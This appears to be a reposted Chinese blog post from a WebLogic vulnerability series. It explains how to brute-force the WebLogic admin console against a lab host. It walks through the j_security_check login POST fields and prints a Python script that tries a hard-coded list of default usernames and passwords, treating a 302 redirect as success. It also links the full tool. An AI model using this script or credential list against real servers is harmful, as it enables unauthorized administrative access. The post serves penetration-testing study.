欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

weblogic系列漏洞整理 -- 2. weblogic弱口令

程序员文章站 2022-04-20 23:44:48
WebLogic系列漏洞整理,包括WebLogic安装、Weblogic弱口令破解、CVE-2014-4210、CVE-2017-10271等。持续更新... weblogic弱口令 ......

一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html

二、 weblogic弱口令

weblogic常用弱口令https://cirt.net/passwords?criteria=weblogic

后台登陆地址: http://192.168.136.130:7001/console/login/LoginForm.jsp

0. 思路

登陆weblogic后台看到后台地址登陆并无限制,因此可以尝试写脚本进行爆破。

在登陆页面随便输入一个用户名密码,利用network查看提交情况

weblogic系列漏洞整理 -- 2. weblogic弱口令

可以看到,点击提交按钮后,浏览器向http://192.168.136.130:7001/console/j_security_check地址POST提交了这个表单

weblogic系列漏洞整理 -- 2. weblogic弱口令

j_username: web
j_password: logic
j_character_encoding: UTF-8

当提交错误时,重新返回登陆页面的地址,

正确时,则返回新的地址

weblogic系列漏洞整理 -- 2. weblogic弱口令

根据这个思路即可以编写爆破脚本。

1. python爆破脚本

完整脚本git地址https://github.com/b4zinga/Explib/blob/master/weblogic.py

关键代码:

def weakPasswd(self):
        """weak password"""

        pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
        for user in pwddict:
            for pwd in pwddict:
                data = {
                    'j_username':user,
                    'j_password':pwd,
                    'j_character_encoding':'UTF-8'
                }
                req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

                if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                    print('[+] WebLogic  username: '+user+'  password: '+pwd)
                    return True
        return False

2. 技巧

python的requests模块在post或get提交数据时,如果返回信息中含302,则requests会默认跟随跳转,这里跳转之后不容易 判断,所以给requests添加allow_redirects=False参数,指定requests不跟随跳转。